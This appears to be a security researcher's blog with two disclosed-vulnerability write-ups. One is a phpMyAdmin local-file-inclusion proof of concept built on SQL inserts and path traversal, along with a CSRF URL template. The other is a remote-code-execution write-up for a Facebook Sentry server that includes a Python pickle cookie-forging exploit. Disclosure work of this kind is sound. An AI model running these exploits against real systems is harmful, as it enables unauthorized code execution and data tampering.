PHPMyAdmin multiple vulnerabilities

During an assignment, I found several serious vulnerabilities in phpMyAdmin, which is an application massively used to manage MariaDB and MySQL databases. One of them potentially leads to arbitrary code execution by exploiting a Local file inclusion, while the other is a CSRF allowing any table entry to be edited.

1. Local File INCLUSION in transformation feature

The transformation feature from PHPMyAdmin allows to have a specific display for some columns when selecting them from a table. For example, it can transform links in text format to clickable links when rendering them.

Those transformations are defined in PHPMyAdmin’s “column_info” system table, which usually resides in the phpmyadmin database. However, every database can ship its own version of phpmyadmin system tables. For creating phpmyadmin system tables for a specific database, the following call can be used: http://phpmyadmin/chk_rel.php?fixall_pmadb=1&db=*yourdb*.
It will create a set of pma__* tables into your database.

Here is an example of how the transformation is applied, from tbl_replace.php:

<?php

$mime_map = Transformations::getMIME($GLOBALS['db'], $GLOBALS['table']);
[...]
// Apply Input Transformation if defined
if (!empty($mime_map[$column_name])
&& !empty($mime_map[$column_name]['input_transformation'])
) {
   $filename = 'libraries/classes/Plugins/Transformations/'
. $mime_map[$column_name]['input_transformation'];
   if (is_file($filename)) {
      include_once $filename;
      $classname = Transformations::getClassName($filename);
      /** @var IOTransformationsPlugin $transformation_plugin */
      $transformation_plugin = new $classname();
      $transformation_options = Transformations::getOptions(
         $mime_map[$column_name]['input_transformation_options']
      );
      $current_value = $transformation_plugin->applyTransformation(
         $current_value, $transformation_options
      );
      // check if transformation was successful or not
      // and accordingly set error messages & insert_fail
      if (method_exists($transformation_plugin, 'isSuccess')
&& !$transformation_plugin->isSuccess()
) {
         $insert_fail = true;
         $row_skipped = true;
         $insert_errors[] = sprintf(
            __('Row: %1$s, Column: %2$s, Error: %3$s'),
            $rownumber, $column_name,
            $transformation_plugin->getError()
         );
      }
   }
}

The transformation is fetched from the “pma__column_info” system table in the current database, or from the “phpmyadmin” database instead. The “input_transformation” column is used as a filename to include, and is vulnerable to a path traversal that leads to a local file inclusion.

Here is a PoC to exploit this vulnerability:

  1. Create a new database “foo” with a random “bar” table containing a “baz” column, with a data containing PHP code in it (to fill the session with some php code):
    CREATE DATABASE foo;
     CREATE TABLE foo.bar ( baz VARCHAR(255) PRIMARY KEY );
     INSERT INTO foo.bar SELECT '<?php phpinfo() ?>';
  2. Create phpmyadmin system tables in your db by calling http://phpmyadmin/chk_rel.php?fixall_pmadb=1&db=foo
  3. Fill the transformation information with the path traversal in the “pma__column_info” table:
    INSERT INTO `pma__column_info`SELECT '1', 'foo', 'bar', 'baz', 'plop',
     'plop', 'plop', 'plop',
     '[path_traversal]/var/lib/php/sessions/sess_{yourSessionId}','plop';
  4. Browsing to http://phpmyadmin/tbl_replace.php?db=foo&table=bar&where_clause=1=1&fields_name[multi_edit][][]=baz&clause_is_unique=1 will trigger the phpinfo(); call.

 

2. CSRF for updating data in table

This vulnerability is pretty easy to understand. A simple GET request can be used to update data in a table. Here is an example :

http://phpmyadmin/tbl_replace.php?db=*yourDB*&table=*yourTable*&fields_name[multi_edit][0][0]=*fieldToEdit*&fields[multi_edit][0][0]=*fieldNewValue*&clause_is_unique=1&where_clause=*whereClause*

A malicious user could force a logged-in user to update arbitrary tables in arbitrary DBs. This can also be used in a simple <img> element on forums or elsewhere, as the request is a simple GET one.

 

These vulnerabilities are both important. We responsibly disclosed them and they  were patched on the newly released phpMyAdmin 4.8.4.

 

Timeline :

  • 2018.06.21 – Initial contact with phpMyAdmin security team.
  • 2018.06.24 – Initial response that the team will investigate.
  • 2018.08.02 – Request for news.
  • 2018.08.28 – Re-request for news.
  • 2018.08.31 – Response from phpMyAdmin team that they’re still in the process of fixing things.
  • 2018.11.01 – Request for news.
  • 2018.12.07 – Apologies from phpMyAdmin + explanation that a lot of code rewrite was necessary for multiple CSRF flaws.
  • 2018.12.11 – New version released with patch.

Update your things! 😉

Remote Code Execution on a Facebook server

I regularly search for vulnerabilities on big services that allow it and have a Bug Bounty program. Here is my first paper which covers a vulnerability I discovered on one of Facebook’s servers.

While scanning an IP range that belongs to Facebook (199.201.65.0/24), I found a Sentry service hosted on 199.201.65.36, with the hostname sentryagreements.thefacebook.com. Sentry is a log collection web application, written in Python with the Django framework.

While I was looking at the application, some stacktraces regularly popped on the page, for an unknown reason. The application seemed to be unstable regarding the user password reset feature, which occasionally crashed. Django debug mode was not turned off, which consequently prints the whole environment when a stacktrace occurs. However, Django snips critical information (passwords, secrets, key…) in those stacktraces, therefore avoiding a massive information leakage.

However, by looking at the stacktrace a little more closely, some env keys were interesting :

  • The SESSION_COOKIE_NAME is sentrysid
  • The SESSION_SERIALIZER is django.contrib.sessions.serializers.PickleSerializer
  • The SESSION_ENGINE is django.contrib.sessions.backends.signed_cookies
  • The SENTRY_OPTIONS key that contains some Sentry configuration in a list.

Pickle is a binary protocol for (un)serializing Python object structures, such as classes and methods in them. A comprehensive article that explains what Pickle is and its security implications is available here : https://www.balda.ch/posts/2013/Jun/23/python-web-frameworks-pickle/

If we were able to forge our own session that contains arbitrary pickle content, we could execute commands on the system. However, the SECRET_KEY that is used by Django for signing session cookies is not available in the stacktrace. However, the SENTRY_OPTIONS list contains a key named system.secret-key, that is not snipped. Quoting the Sentry documentation, system.secret-key is “a secret key used for session signing. If this becomes compromised it’s important to regenerate it as otherwise its much easier to hijack user sessions.“; wow, it looks like it’s a sort of Django SECRET-KEY override!

As we have everything to forge our own cookies with arbitrary pickle content, I wrote a little script that adds a payload into my own sentrysid cookie. Here it is :

#!/usr/bin/python
import django.core.signing, django.contrib.sessions.serializers
from django.http import HttpResponse
import cPickle
import os

SECRET_KEY='[RETRIEVEDKEY]'
#Initial cookie I had on sentry when trying to reset a password
cookie='gAJ9cQFYCgAAAHRlc3Rjb29raWVxAlgGAAAAd29ya2VkcQNzLg:1fjsBy:FdZ8oz3sQBnx2TPyncNt0LoyiAw'
newContent =  django.core.signing.loads(cookie,key=SECRET_KEY,serializer=django.contrib.sessions.serializers.PickleSerializer,salt='django.contrib.sessions.backends.signed_cookies')
class PickleRce(object):
    def __reduce__(self):
        return (os.system,("sleep 30",))
newContent['testcookie'] = PickleRce()

print django.core.signing.dumps(newContent,key=SECRET_KEY,serializer=django.contrib.sessions.serializers.PickleSerializer,salt='django.contrib.sessions.backends.signed_cookies',compress=True)

This code is a simple proof of concept; it takes the content of an existing sentrysid cookie, and replaces its content with an arbitrary object that will run a os.system(“sleep 30”) when unserialized.

When using this cookie, the page actually takes an additional 30 seconds to load, which confirms the presence of the flaw.

Facebook acknowledged the vulnerability, took down the system until the flaw was patched, and then notified me about the patch being in place.

Here is the disclosure timeline, which also demonstrates that Facebook security staff is reactive 🙂 :

  • 30.07.2018 00:00 CEST : initial disclosure with every details.
  • 30.07.2018 15:25 CEST : triaged and system takedown.
  • 09.08.2018 18:10 CEST : patch in place.
  • 09.08.2018 20:10 CEST : a 5000$ bounty is awarded – the server was in a separate VLAN with no users’ specific data.

Thanks for reading!

Blaklis